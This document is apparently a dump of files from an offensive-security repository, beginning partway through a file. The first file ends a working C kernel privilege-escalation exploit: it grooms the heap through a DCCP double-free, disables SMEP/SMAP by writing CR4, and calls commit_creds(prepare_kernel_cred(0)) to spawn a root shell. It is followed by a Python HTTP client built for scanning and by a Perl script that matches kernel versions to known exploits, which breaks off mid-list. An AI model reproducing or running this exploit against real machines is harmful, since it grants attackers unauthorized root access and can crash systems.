dccp_kmalloc_kfree(&dh); 454 | 455 | debug("catch 1"); 456 | for (i = 0; i < CATCH_FIRST; i++) 457 | udp_fifo_kmalloc(&uh1, &dummy[0]); 458 | 459 | debug("dccp kfree again"); 460 | dccp_kfree_again(&dh); 461 | 462 | debug("catch 2"); 463 | for (i = 0; i < CATCH_FIRST; i++) 464 | udp_fifo_kmalloc(&uh2, &dummy[0]); 465 | 466 | int timers[CATCH_FIRST]; 467 | debug("catch 1 -> timer"); 468 | for (i = 0; i < CATCH_FIRST; i++) { 469 | udp_fifo_kfree(&uh1); 470 | timers[i] = timer_kmalloc(); 471 | } 472 | 473 | debug("catch 1 small"); 474 | for (i = 0; i < CATCH_AGAIN_SMALL; i++) 475 | udp_fifo_kmalloc_small(&uh4); 476 | 477 | debug("schedule timers"); 478 | for (i = 0; i < CATCH_FIRST; i++) 479 | timer_schedule(timers[i], 500); 480 | 481 | debug("catch 2 -> overwrite timers"); 482 | for (i = 0; i < CATCH_FIRST; i++) { 483 | udp_fifo_kfree(&uh2); 484 | udp_fifo_kmalloc(&uh3, &buffer[0]); 485 | } 486 | 487 | debug("catch 2 small"); 488 | for (i = 0; i < CATCH_AGAIN_SMALL; i++) 489 | udp_fifo_kmalloc_small(&uh4); 490 | 491 | printf("[.] waiting for the timer to execute\n"); 492 | 493 | debug("wait"); 494 | sleep(1); 495 | 496 | printf("[.] done\n"); 497 | } 498 | 499 | void disable_smep_smap() { 500 | printf("[.] disabling SMEP & SMAP\n"); 501 | kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE); 502 | printf("[.] SMEP & SMAP should be off now\n"); 503 | } 504 | 505 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * * 506 | 507 | // Executes func() from process context. 508 | void kernel_exec(void *func) { 509 | int i; 510 | struct dccp_handle dh; 511 | struct udp_fifo_handle uh1, uh2, uh3; 512 | char dummy[2048]; 513 | char buffer[2048]; 514 | 515 | printf("[.] executing %p\n", func); 516 | 517 | memset(&dummy[0], 0, 2048); 518 | init_skb_buffer(&buffer[0], func); 519 | 520 | udp_fifo_init(&uh1); 521 | udp_fifo_init(&uh2); 522 | udp_fifo_init(&uh3); 523 | 524 | debug("kmalloc pad"); 525 | kmalloc_pad(); 526 | 527 | debug("kmalloc warm"); 528 | kmalloc_warm(); 529 | 530 | debug("dccp init"); 531 | dccp_init(&dh, port++); 532 | 533 | debug("dccp kmalloc kfree"); 534 | dccp_kmalloc_kfree(&dh); 535 | 536 | debug("catch 1"); 537 | for (i = 0; i < CATCH_FIRST; i++) 538 | udp_fifo_kmalloc(&uh1, &dummy[0]); 539 | 540 | debug("dccp kfree again:"); 541 | dccp_kfree_again(&dh); 542 | 543 | debug("catch 2"); 544 | for (i = 0; i < CATCH_FIRST; i++) 545 | udp_fifo_kmalloc(&uh2, &dummy[0]); 546 | 547 | debug("catch 1 -> overwrite"); 548 | for (i = 0; i < CATCH_FIRST; i++) { 549 | udp_fifo_kfree(&uh1); 550 | sendmmsg_kmalloc_kfree(port++, &buffer[0]); 551 | } 552 | debug("catch 2 -> free & trigger"); 553 | for (i = 0; i < CATCH_FIRST; i++) 554 | udp_fifo_kfree(&uh2); 555 | 556 | debug("catch 1 & 2"); 557 | for (i = 0; i < CATCH_AGAIN; i++) 558 | udp_fifo_kmalloc(&uh3, &dummy[0]); 559 | 560 | printf("[.] done\n"); 561 | } 562 | 563 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 564 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 565 | 566 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 567 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 568 | 569 | void get_root_payload(void) { 570 | commit_creds(prepare_kernel_cred(0)); 571 | } 572 | 573 | void get_root() { 574 | printf("[.] getting root\n"); 575 | kernel_exec(&get_root_payload); 576 | printf("[.] should be root now\n"); 577 | } 578 | 579 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 580 | 581 | void exec_shell() { 582 | char *shell = "/bin/bash"; 583 | char *args[] = {shell, "-i", NULL}; 584 | execve(shell, args, NULL); 585 | } 586 | 587 | void fork_shell() { 588 | pid_t rv; 589 | 590 | rv = fork(); 591 | if (rv == -1) { 592 | perror("fork()"); 593 | exit(EXIT_FAILURE); 594 | } 595 | 596 | if (rv == 0) { 597 | exec_shell(); 598 | } 599 | } 600 | 601 | bool is_root() { 602 | // We can't simple check uid, since we're running inside a namespace 603 | // with uid set to 0. Try opening /etc/shadow instead. 604 | int fd = open("/etc/shadow", O_RDONLY); 605 | if (fd == -1) 606 | return false; 607 | close(fd); 608 | return true; 609 | } 610 | 611 | void check_root() { 612 | printf("[.] checking if we got root\n"); 613 | 614 | if (!is_root()) { 615 | printf("[-] something went wrong =(\n"); 616 | printf("[!] don't kill the exploit binary, the kernel will crash\n"); 617 | return; 618 | } 619 | 620 | printf("[+] got r00t ^_^\n"); 621 | printf("[!] don't kill the exploit binary, the kernel will crash\n"); 622 | 623 | // Fork and exec instead of just doing the exec to avoid freeing 624 | // skbuffs and prevent crashes due to a allocator corruption. 625 | fork_shell(); 626 | } 627 | 628 | static bool write_file(const char* file, const char* what, ...) 629 | { 630 | char buf[1024]; 631 | va_list args; 632 | va_start(args, what); 633 | vsnprintf(buf, sizeof(buf), what, args); 634 | va_end(args); 635 | buf[sizeof(buf) - 1] = 0; 636 | int len = strlen(buf); 637 | 638 | int fd = open(file, O_WRONLY | O_CLOEXEC); 639 | if (fd == -1) 640 | return false; 641 | if (write(fd, buf, len) != len) { 642 | close(fd); 643 | return false; 644 | } 645 | close(fd); 646 | return true; 647 | } 648 | 649 | void setup_sandbox() { 650 | int real_uid = getuid(); 651 | int real_gid = getgid(); 652 | 653 | if (unshare(CLONE_NEWUSER) != 0) { 654 | perror("unshare(CLONE_NEWUSER)"); 655 | exit(EXIT_FAILURE); 656 | } 657 | 658 | if (unshare(CLONE_NEWNET) != 0) { 659 | perror("unshare(CLONE_NEWUSER)"); 660 | exit(EXIT_FAILURE); 661 | } 662 | 663 | if (!write_file("/proc/self/setgroups", "deny")) { 664 | perror("write_file(/proc/self/set_groups)"); 665 | exit(EXIT_FAILURE); 666 | } 667 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 668 | perror("write_file(/proc/self/uid_map)"); 669 | exit(EXIT_FAILURE); 670 | } 671 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 672 | perror("write_file(/proc/self/gid_map)"); 673 | exit(EXIT_FAILURE); 674 | } 675 | 676 | cpu_set_t my_set; 677 | CPU_ZERO(&my_set); 678 | CPU_SET(0, &my_set); 679 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 680 | perror("sched_setaffinity()"); 681 | exit(EXIT_FAILURE); 682 | } 683 | 684 | if (system("/sbin/ifconfig lo up") != 0) { 685 | perror("system(/sbin/ifconfig lo up)"); 686 | exit(EXIT_FAILURE); 687 | } 688 | 689 | printf("[.] namespace sandbox setup successfully\n"); 690 | } 691 | 692 | int main() { 693 | setup_sandbox(); 694 | 695 | #if SMEP_SMAP_BYPASS 696 | disable_smep_smap(); 697 | #endif 698 | 699 | get_root(); 700 | 701 | check_root(); 702 | 703 | while (true) { 704 | sleep(100); 705 | } 706 | 707 | return 0; 708 | } 709 | -------------------------------------------------------------------------------- /hackhttp/hackhttp/hackhttp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import Queue 4 | import urlparse 5 | import httplib 6 | import ssl 7 | import zlib 8 | import gzip 9 | import StringIO 10 | import re 11 | import threading 12 | import mimetools 13 | import Cookie 14 | import cookielib 15 | import copy 16 | import time 17 | import string 18 | 19 | 20 | class httpheader(mimetools.Message): 21 | def __init__(self, fp, seekable=1): 22 | mimetools.Message.__init__(self, fp, seekable) 23 | 24 | def isheader(self, line): 25 | i = line.find(':') 26 | if i > -1: 27 | return line[:i] 28 | return None 29 | 30 | 31 | class Compatibleheader(str): 32 | def setdict(self, d): 33 | self.dict = d 34 | 35 | def __getitem__(self, key): 36 | return self.dict.__getitem__(key) 37 | 38 | def get(self, key, d=None): 39 | return self.dict.get(key, d) 40 | 41 | 42 | class MorselHook(Cookie.Morsel): 43 | """ 44 | Support ":" in Cookie key. 45 | 46 | >>> import inspect 47 | >>> (inspect.getargspec(MorselHook.set)[3])[0] 48 | "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&'*+-.^_`|~:" 49 | >>> cookie = Cookie.SimpleCookie() 50 | >>> cookie.load("key:key=abc; key=val") 51 | >>> print cookie 52 | Set-Cookie: key=val; 53 | Set-Cookie: key:key=abc; 54 | """ 55 | def set( 56 | self, key, val, coded_val, 57 | LegalChars=Cookie._LegalChars + ':', 58 | idmap=string._idmap, translate=string.translate): 59 | return super(MorselHook, self).set( 60 | key, val, coded_val, LegalChars, idmap, translate) 61 | 62 | 63 | class httpconpool(): 64 | # 创建的连接总数, key 为 conhash 65 | connected = {} 66 | # 存放空闲连接的队列, key 为 conhash 67 | connectpool = {} 68 | # 存放 cookie 的池子,key 为 host 69 | maxconnectpool = 20 70 | lock = threading.Lock() 71 | 72 | def __init__(self, maxconnectpool=20, timeout=10): 73 | self.maxconnectpool = maxconnectpool 74 | self.timeout = timeout 75 | self.protocol = [] 76 | self._get_protocol() 77 | 78 | def _get_protocol(self): 79 | if not self.protocol: 80 | ps = ( 81 | 'PROTOCOL_SSLv3', 'PROTOCOL_SSLv23', 'PROTOCOL_TLSv1', 82 | 'PROTOCOL_SSLv2', 'PROTOCOL_TLSv1_1', 'PROTOCOL_TLSv1_2') 83 | for p in ps: 84 | pa = getattr(ssl, p, None) 85 | if pa: 86 | self.protocol.append(pa) 87 | 88 | def _make_connect(self, https, host, port, proxy=None): 89 | if not https: 90 | if proxy: 91 | con = httplib.HTTPConnection( 92 | proxy[0], proxy[1], timeout=self.timeout) 93 | con.set_tunnel(host, port) 94 | else: 95 | con = httplib.HTTPConnection(host, port, timeout=self.timeout) 96 | # con .set_debuglevel(2) #? 97 | con.connect() 98 | return con 99 | for p in self.protocol: 100 | context = ssl._create_unverified_context(p) 101 | try: 102 | if proxy: 103 | 104 | con = httplib.HTTPSConnection( 105 | proxy[0], proxy[1], context=context, 106 | timeout=self.timeout) 107 | con.set_tunnel(host, port) 108 | else: 109 | con = httplib.HTTPSConnection( 110 | host, port, context=context, timeout=self.timeout) 111 | con.connect() 112 | return con 113 | except ssl.SSLError, e: 114 | # print e,protocol 115 | pass 116 | raise Exception('connect err') 117 | 118 | def _get_connect(self, url, proxy): 119 | https, host, port, path = url 120 | conhash = '%d_%s_%d' % (https, host, port) 121 | self.lock.acquire() 122 | try: 123 | count = self.connected.get(conhash, 0) 124 | if count == 0: 125 | self.connected[conhash] = 0 126 | if not self.connectpool.get(conhash, None): 127 | self.connectpool[conhash] = Queue.Queue() 128 | if count <= self.maxconnectpool: 129 | if self.connectpool[conhash].qsize() == 0: 130 | con = self._make_connect(https, host, port, proxy) 131 | self.connected[conhash] += 1 132 | self.connectpool[conhash].put(con) 133 | except: 134 | raise 135 | finally: 136 | self.lock.release() 137 | return self.connectpool[conhash].get() 138 | 139 | def _put_connect(self, url, con): 140 | https, host, port, path = url 141 | conhash = '%d_%s_%d' % (https, host, port) 142 | self.connectpool[conhash].put(con) 143 | 144 | def _release_connect(self, url): 145 | https, host, port, path = url 146 | conhash = '%d_%s_%d' % (https, host, port) 147 | self.lock.acquire() 148 | self.connected[conhash] -= 1 149 | self.lock.release() 150 | 151 | 152 | class hackhttp(): 153 | 154 | def __init__(self, conpool=None, cookie_str=None, throw_exception=True): 155 | """conpool: 创建的连接池最大数量,类型为 int,默认为 10 156 | 157 | cookie_str: 用户自己定义的 Cookie,类型为 String 158 | 159 | throw_exception: 是否抛出遇到的异常,类型为 bool,默认为 True 160 | """ 161 | self.throw_exception = throw_exception 162 | if conpool is None: 163 | self.conpool = httpconpool(10) 164 | else: 165 | self.conpool = conpool 166 | Cookie.Morsel = MorselHook 167 | self.initcookie = Cookie.SimpleCookie() 168 | if cookie_str: 169 | if not cookie_str.endswith(';'): 170 | cookie_str += ";" 171 | for cookiepart in cookie_str.split(";"): 172 | if cookiepart.strip() != "": 173 | cookiekey, cookievalue = cookiepart.split("=", 1) 174 | self.initcookie[cookiekey.strip()] = cookievalue.strip() 175 | self.cookiepool = {} 176 | 177 | def _get_urlinfo(self, url): 178 | p = urlparse.urlparse(url) 179 | scheme = p.scheme.lower() 180 | if scheme != 'http' and scheme != 'https': 181 | raise Exception('http/https only') 182 | host = p.hostname 183 | port = p.port 184 | https = True if scheme == "https" else False 185 | if not port: 186 | port = 443 if https else 80 187 | path = '' 188 | if p.path: 189 | path = p.path 190 | if p.query: 191 | path = path + '?' + p.query 192 | return https, host, port, path 193 | 194 | def _decode_html(self, head, body): 195 | # 这里处理编码有问题,所以暂不处理 196 | # return body 197 | if 'text' not in head: 198 | return body 199 | charset = None 200 | r = re.search(r'charset=(\S+)', head, re.I) 201 | if not r: 202 | r = re.search(r'charset=[\'"]*([^\r\n\'">]+)', body, re.I) 203 | if r: 204 | charset = r.group(1).lower() 205 | if charset == 'utf-8': 206 | return body 207 | else: 208 | charset = 'utf-8' 209 | try: 210 | body = body.decode(charset, 'ignore').encode('utf-8') 211 | except: 212 | pass 213 | return body 214 | 215 | def _send_output(self, oldfun, con, log): 216 | def _send_output_hook(*args, **kwargs): 217 | log['request'] = "\r\n".join(con._buffer) 218 | oldfun(*args, **kwargs) 219 | con._send_output = oldfun 220 | return _send_output_hook 221 | 222 | def http(self, url, post=None, **kwargs): 223 | r'''hh.http(...) -> (code, head, html, redirtct_url, log) 224 | 225 | Send an HTTP Request. 226 | 227 | kwargs: 228 | 229 | ********* 230 | 231 | param: post: Set http POST data. 232 | 233 | eg: 234 | post = "key1=val1&key2=val2" 235 | 236 | ********* 237 | 238 | param: header: 239 | param: headers: Set http headers. If you set header, headers will drop. 240 | 241 | eg: 242 | 243 | header = 'Referer:https://bugscan.net\r\nUser-Agent: hackhttp user-agent' 244 | 245 | eg: 246 | headers={ 247 | 'Referer': 'https://bugscan.net', 248 | 'User-Agent': 'hackhttp user-agent' 249 | } 250 | 251 | ********* 252 | 253 | param: method: Set HTTP Request Method, default value is 'GET'. 254 | If the param "post" is set, the method will auto change to 'POST' 255 | The value of this param you can find it in RFC2616. 256 | 257 | Method List: 258 | OPTIONS, GET, HEAD, POST, 259 | PUT, DELETE, TRACE, CONNECT 260 | 261 | eg: 262 | method = 'POST' 263 | 264 | ********* 265 | 266 | param: raw: Set HTTP raw package. 267 | 268 | eg: 269 | raw = """POST /post HTTP/1.1 270 | Host: httpbin.org 271 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0 272 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 273 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 274 | Accept-Encoding: gzip, deflate 275 | Connection: close 276 | Content-Type: application/x-www-form-urlencoded 277 | Content-Length: 19 278 | 279 | key1=val1&key2=val2""" 280 | 281 | ********* 282 | 283 | param: proxy: Set HTTP Proxy, support http protocol. 284 | 285 | eg: 286 | proxy = ('127.0.0.1', 9119) 287 | 288 | ********* 289 | 290 | param:cookcookie: Auto set cookie and get cookie. 291 | 292 | cookcookie=True 293 | 294 | ********* 295 | 296 | param: location: Auto redirect when 302. 297 | 298 | eg: 299 | location=True 300 | 301 | ********* 302 | 303 | param: throw_exception: Throw exception or pass when exception occurred. 304 | eg: 305 | throw_exception=True 306 | 307 | ********* 308 | 309 | param: data: HTTP Request Data,when param is None. 310 | 311 | eg, application/x-www-form-urlencoded : 312 | 313 | data="key1=val1&key2=val2" 314 | 315 | eg, application/json: 316 | 317 | data='{"key1": "val1", "key2": "val2"}' 318 | 319 | ''' 320 | headers = kwargs.get('header', '') or kwargs.get('headers', {}) 321 | method = kwargs.get('method', None) 322 | raw = kwargs.get('raw', None) 323 | proxy = kwargs.get('proxy', None) 324 | if not post: 325 | post = kwargs.get('data', None) 326 | if type(post) == unicode: 327 | post = post.encode('utf-8', 'ignore') 328 | if type(raw) == unicode: 329 | raw = raw.encode('utf-8', 'ignore') 330 | cookcookie = kwargs.get('cookcookie', True) 331 | location = kwargs.get('location', True) 332 | throw_exception = kwargs.get('throw_exception', self.throw_exception) 333 | 334 | if headers and (isinstance(headers, str) or isinstance(headers, unicode)): 335 | headers = httpheader(StringIO.StringIO(headers), 0).dict 336 | for arg_key, h in[ 337 | ('cookie', 'Cookie'), 338 | ('referer', 'Referer'), 339 | ('user_agent', 'User-Agent'), ]: 340 | if kwargs.get(arg_key): 341 | headers[h] = kwargs.get(arg_key) 342 | 343 | try: 344 | if raw: 345 | return self.httpraw( 346 | url, raw=raw, proxy=proxy, cookcookie=cookcookie, 347 | location=location) 348 | else: 349 | return self._http( 350 | url, post=post, headers=headers, method=method, 351 | proxy=proxy, cookcookie=cookcookie, 352 | location=location, locationcount=0) 353 | except: 354 | if throw_exception: 355 | raise 356 | else: 357 | return 0, '', '', '', {'url': '', 'request': '', 'response': ''} 358 | 359 | def _http( 360 | self, url, post=None, headers={}, method=None, 361 | proxy=None, cookcookie=True, location=True, locationcount=0): 362 | 363 | if not method: 364 | if post: 365 | method = "POST" 366 | else: 367 | method = "GET" 368 | rep = None 369 | urlinfo = https, host, port, path = self._get_urlinfo(url) 370 | log = {} 371 | con = self.conpool._get_connect(urlinfo, proxy) 372 | # con .set_debuglevel(2) #? 373 | conerr = False 374 | try: 375 | con._send_output = self._send_output(con._send_output, con, log) 376 | tmpheaders = copy.deepcopy(headers) 377 | tmpheaders['Accept-Encoding'] = 'gzip, deflate' 378 | tmpheaders['Connection'] = 'Keep-Alive' 379 | tmpheaders['User-Agent'] = tmpheaders['User-Agent'] if tmpheaders.get('User-Agent') else 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36' 380 | 381 | if cookcookie: 382 | c = self.cookiepool.get(host, None) 383 | if not c: 384 | self.cookiepool[host] = self.initcookie 385 | c = self.cookiepool.get(host) 386 | if 'Cookie' in tmpheaders: 387 | cookie_str = tmpheaders['Cookie'].strip() 388 | if not cookie_str.endswith(';'): 389 | cookie_str += ";" 390 | for cookiepart in cookie_str.split(";"): 391 | if cookiepart.strip() != "": 392 | cookiekey, cookievalue = cookiepart.split("=", 1) 393 | c[cookiekey.strip()] = cookievalue.strip() 394 | for k in c.keys(): 395 | m = c[k] 396 | # check cookie path 397 | if path.find(m['path']) != 0: 398 | continue 399 | expires = m['expires'] 400 | if not expires: 401 | continue 402 | # check cookie expires time 403 | if cookielib.http2time(expires) < time.time(): 404 | del c[k] 405 | cookie_str = c.output(attrs=[], header='', sep=';').strip() 406 | if cookie_str: 407 | tmpheaders['Cookie'] = cookie_str 408 | if post: 409 | tmpheaders['Content-Type'] = tmpheaders.get( 410 | 'Content-Type', 'application/x-www-form-urlencoded') 411 | else: 412 | # content-length err 411 413 | tmpheaders[ 414 | 'Content-Length'] = tmpheaders.get('Content-Length', 0) 415 | if method == 'GET': 416 | del tmpheaders['Content-Length'] 417 | con.request(method, path, post, tmpheaders) 418 | rep = con.getresponse() 419 | body = rep.read() 420 | encode = rep.msg.get('content-encoding', None) 421 | if encode == 'gzip': 422 | body = gzip.GzipFile(fileobj=StringIO.StringIO(body)).read() 423 | elif encode == 'deflate': 424 | try: 425 | body = zlib.decompress(body, -zlib.MAX_WBITS) 426 | except: 427 | body = zlib.decompress(body) 428 | body = self._decode_html( 429 | rep.msg.dict.get('content-type', ''), body) 430 | retheader = Compatibleheader(str(rep.msg)) 431 | retheader.setdict(rep.msg.dict) 432 | redirect = rep.msg.dict.get('location', url) 433 | if not redirect.startswith('http'): 434 | redirect = urlparse.urljoin(url, redirect) 435 | if cookcookie and "set-cookie" in rep.msg.dict: 436 | c = self.cookiepool[host] 437 | c.load(rep.msg.dict['set-cookie']) 438 | except httplib.ImproperConnectionState: 439 | conerr = True 440 | raise 441 | except: 442 | raise 443 | finally: 444 | if conerr or (rep and rep.msg.get('connection') == 'close') or proxy: 445 | self.conpool._release_connect(urlinfo) 446 | con.close() 447 | else: 448 | self.conpool._put_connect(urlinfo, con) 449 | 450 | log["url"] = url 451 | if post: 452 | log['request'] += "\r\n\r\n" + post 453 | log["response"] = "HTTP/%.1f %d %s" % ( 454 | rep.version * 0.1, rep.status, 455 | rep.reason) + '\r\n' + str(retheader) + '\r\n' + (body[:4096]) 456 | if location and url != redirect and locationcount < 5: 457 | method = 'HEAD' if method == 'HEAD' else 'GET' 458 | a, b, c, d, e = self._http( 459 | redirect, method=method, proxy=proxy, 460 | cookcookie=cookcookie, location=location, 461 | locationcount=locationcount + 1) 462 | log["response"] = e["response"] 463 | return a, b, c, d, log 464 | return rep.status, retheader, body, redirect, log 465 | 466 | def httpraw(self, url, raw, proxy=None, cookcookie=True, location=True): 467 | urlinfo = https, host, port, path = self._get_urlinfo(url) 468 | raw = StringIO.StringIO(raw.lstrip()) 469 | requestline = raw.readline().rstrip() 470 | words = requestline.split() 471 | if len(words) == 3: 472 | command, _, _ = words 473 | elif len(words) == 2: 474 | command, _ = words 475 | else: 476 | raise Exception('http raw parse error') 477 | headers = httpheader(raw, 0).dict 478 | rawbody = '' 479 | content_type = headers.get('Content-Type', "") 480 | # Content-Type: application/x-www-form-urlencoded 481 | # Content-Type: multipart/form-data 482 | if content_type.startswith('application/x-www-form-urlencoded'): 483 | while 1: 484 | line = raw.readline() 485 | if line == '': 486 | rawbody = rawbody[:-2] 487 | break 488 | rawbody += line.rstrip() + '\r\n' 489 | if content_type.startswith('multipart/form-data'): 490 | while 1: 491 | line = raw.readline() 492 | if line == '': 493 | break 494 | if line[:2] == "--": 495 | if rawbody != "" and rawbody[-2:] != '\r\n': 496 | rawbody = rawbody[:-1] + '\r\n' 497 | rawbody += line.rstrip() + '\r\n' 498 | elif line[:8].lower() == 'content-': 499 | rawbody += line.rstrip() + '\r\n' 500 | line = raw.readline() 501 | if line[:8].lower() == 'content-': 502 | rawbody += line.rstrip() + '\r\n' 503 | raw.readline() 504 | rawbody += '\r\n' 505 | else: 506 | rawbody += line 507 | headers['Host'] = host 508 | headers['Content-Length'] = str(len(rawbody)) 509 | return self._http( 510 | url, post=rawbody, headers=headers, method=command, 511 | proxy=proxy, cookcookie=cookcookie, location=location) 512 | -------------------------------------------------------------------------------- /getRoot/Linux_Exploit_Suggester.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use strict; 3 | use warnings; 4 | use Getopt::Std; 5 | 6 | our $VERSION = '0.9'; 7 | 8 | my %opts; 9 | getopt( 'k,h', \%opts ); 10 | usage() if exists $opts{h}; 11 | 12 | my ( $khost, $is_partial ) = get_kernel(); 13 | print "\nKernel local: $khost\n\n"; 14 | 15 | my %exploits = get_exploits(); 16 | print 'Searching among ' . scalar keys(%exploits) . " exploits...\n\n"; 17 | print "Possible Exploits:\n"; 18 | 19 | EXPLOIT: 20 | foreach my $key ( sort keys %exploits ) { 21 | foreach my $kernel ( @{ $exploits{$key}{vuln} } ) { 22 | 23 | if ( $khost eq $kernel 24 | or ( $is_partial and index($kernel,$khost) == 0 ) 25 | ) { 26 | print "[+] $key"; 27 | print " ($kernel)" if $is_partial; 28 | 29 | my $alt = $exploits{$key}{alt}; 30 | my $cve = $exploits{$key}{cve}; 31 | my $mlw = $exploits{$key}{mil}; 32 | if ( $alt or $cve ) { 33 | print "\n"; 34 | } 35 | if ( $alt ) { print " Alt: $alt "; } 36 | if ( $cve ) { print " CVE-$cve"; } 37 | if ( $mlw ) { print "\n Source: $mlw"; } 38 | print "\n"; 39 | next EXPLOIT; 40 | } 41 | } 42 | } 43 | exit; 44 | 45 | 46 | ###################### 47 | ## extra functions ## 48 | ###################### 49 | 50 | sub get_kernel { 51 | my $khost = ''; 52 | 53 | if ( exists $opts{k} ) { 54 | $khost = $opts{k}; 55 | } 56 | else { 57 | $khost = `uname -r |cut -d"-" -f1`; 58 | chomp $khost; 59 | } 60 | 61 | # partial kernels might be provided by the user, 62 | # such as '2.4' or '2.6.' 63 | my $is_partial = $khost =~ /^\d+\.\d+\.?\d?/ ? 0 : 1; 64 | if ( $is_partial and substr($khost,-1) ne '.' ) { 65 | $khost .= '.'; 66 | } 67 | return ( $khost, $is_partial ); 68 | } 69 | 70 | sub usage { 71 | print <<"EOUSAGE"; 72 | Linux Exploit Suggester $VERSION 73 | Usage: \t$0 [-h] [-k kernel] 74 | 75 | [-h] help (this message) 76 | [-k] kernel number eg. 2.6.28 77 | 78 | You can also provide a partial kernel version (eg. 2.4) 79 | to see all exploits available. 80 | 81 | EOUSAGE 82 | } 83 | 84 | sub get_exploits { 85 | return ( 86 | 'w00t' => { 87 | vuln => [ 88 | '2.4.10', '2.4.16', '2.4.17', '2.4.18', 89 | '2.4.19', '2.4.20', '2.4.21', 90 | ] 91 | }, 92 | 'brk' => { 93 | vuln => [ '2.4.10', '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22' ], 94 | }, 95 | 'ave' => { vuln => [ '2.4.19', '2.4.20' ] }, 96 | 97 | 'elflbl' => { 98 | vuln => ['2.4.29'], 99 | mil => 'http://www.exploit-db.com/exploits/744/', 100 | }, 101 | 102 | 'elfdump' => { vuln => ['2.4.27'] }, 103 | 'elfcd' => { vuln => ['2.6.12'] }, 104 | 'expand_stack' => { vuln => ['2.4.29'] }, 105 | 106 | 'h00lyshit' => { 107 | vuln => [ 108 | '2.6.8', '2.6.10', '2.6.11', '2.6.12', 109 | '2.6.13', '2.6.14', '2.6.15', '2.6.16', 110 | ], 111 | cve => '2006-3626', 112 | mil => 'http://www.exploit-db.com/exploits/2013/', 113 | }, 114 | 115 | 'kdump' => { vuln => ['2.6.13'] }, 116 | 'km2' => { vuln => [ '2.4.18', '2.4.22' ] }, 117 | 'krad' => 118 | { vuln => [ '2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11' ] }, 119 | 120 | 'krad3' => { 121 | vuln => [ '2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11' ], 122 | mil => 'http://exploit-db.com/exploits/1397', 123 | }, 124 | 125 | 'local26' => { vuln => ['2.6.13'] }, 126 | 'loko' => { vuln => [ '2.4.22', '2.4.23', '2.4.24' ] }, 127 | 128 | 'mremap_pte' => { 129 | vuln => [ '2.4.20', '2.2.24', '2.4.25', '2.4.26', '2.4.27' ], 130 | mil => 'http://www.exploit-db.com/exploits/160/', 131 | }, 132 | 133 | 'newlocal' => { vuln => [ '2.4.17', '2.4.19' ] }, 134 | 'ong_bak' => { vuln => ['2.6.5'] }, 135 | 'ptrace' => 136 | { vuln => [ '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22' ] }, 137 | 'ptrace_kmod' => { 138 | vuln => [ '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22' ], 139 | cve => '2007-4573', 140 | }, 141 | 'ptrace_kmod2' => { 142 | vuln => [ 143 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', '2.6.31', 144 | '2.6.32', '2.6.33', '2.6.34', 145 | ], 146 | alt => 'ia32syscall,robert_you_suck', 147 | mil => 'http://www.exploit-db.com/exploits/15023/', 148 | cve => '2010-3301', 149 | }, 150 | 'ptrace24' => { vuln => ['2.4.9'] }, 151 | 'pwned' => { vuln => ['2.6.11'] }, 152 | 'py2' => { vuln => [ '2.6.9', '2.6.17', '2.6.15', '2.6.13' ] }, 153 | 'raptor_prctl' => { 154 | vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ], 155 | cve => '2006-2451', 156 | mil => 'http://www.exploit-db.com/exploits/2031/', 157 | }, 158 | 'prctl' => { 159 | vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ], 160 | mil => 'http://www.exploit-db.com/exploits/2004/', 161 | }, 162 | 'prctl2' => { 163 | vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ], 164 | mil => 'http://www.exploit-db.com/exploits/2005/', 165 | }, 166 | 'prctl3' => { 167 | vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ], 168 | mil => 'http://www.exploit-db.com/exploits/2006/', 169 | }, 170 | 'prctl4' => { 171 | vuln => [ '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17' ], 172 | mil => 'http://www.exploit-db.com/exploits/2011/', 173 | }, 174 | 'remap' => { vuln => ['2.4.'] }, 175 | 'rip' => { vuln => ['2.2.'] }, 176 | 'stackgrow2' => { vuln => [ '2.4.29', '2.6.10' ] }, 177 | 'uselib24' => { 178 | vuln => [ '2.6.10', '2.4.17', '2.4.22', '2.4.25', '2.4.27', '2.4.29' ] 179 | }, 180 | 'newsmp' => { vuln => ['2.6.'] }, 181 | 'smpracer' => { vuln => ['2.4.29'] }, 182 | 'loginx' => { vuln => ['2.4.22'] }, 183 | 'exp.sh' => { vuln => [ '2.6.9', '2.6.10', '2.6.16', '2.6.13' ] }, 184 | 'vmsplice1' => { 185 | vuln => [ 186 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', 187 | '2.6.23', '2.6.24', '2.6.24.1', 188 | ], 189 | alt => 'jessica biel', 190 | cve => '2008-0600', 191 | mil => 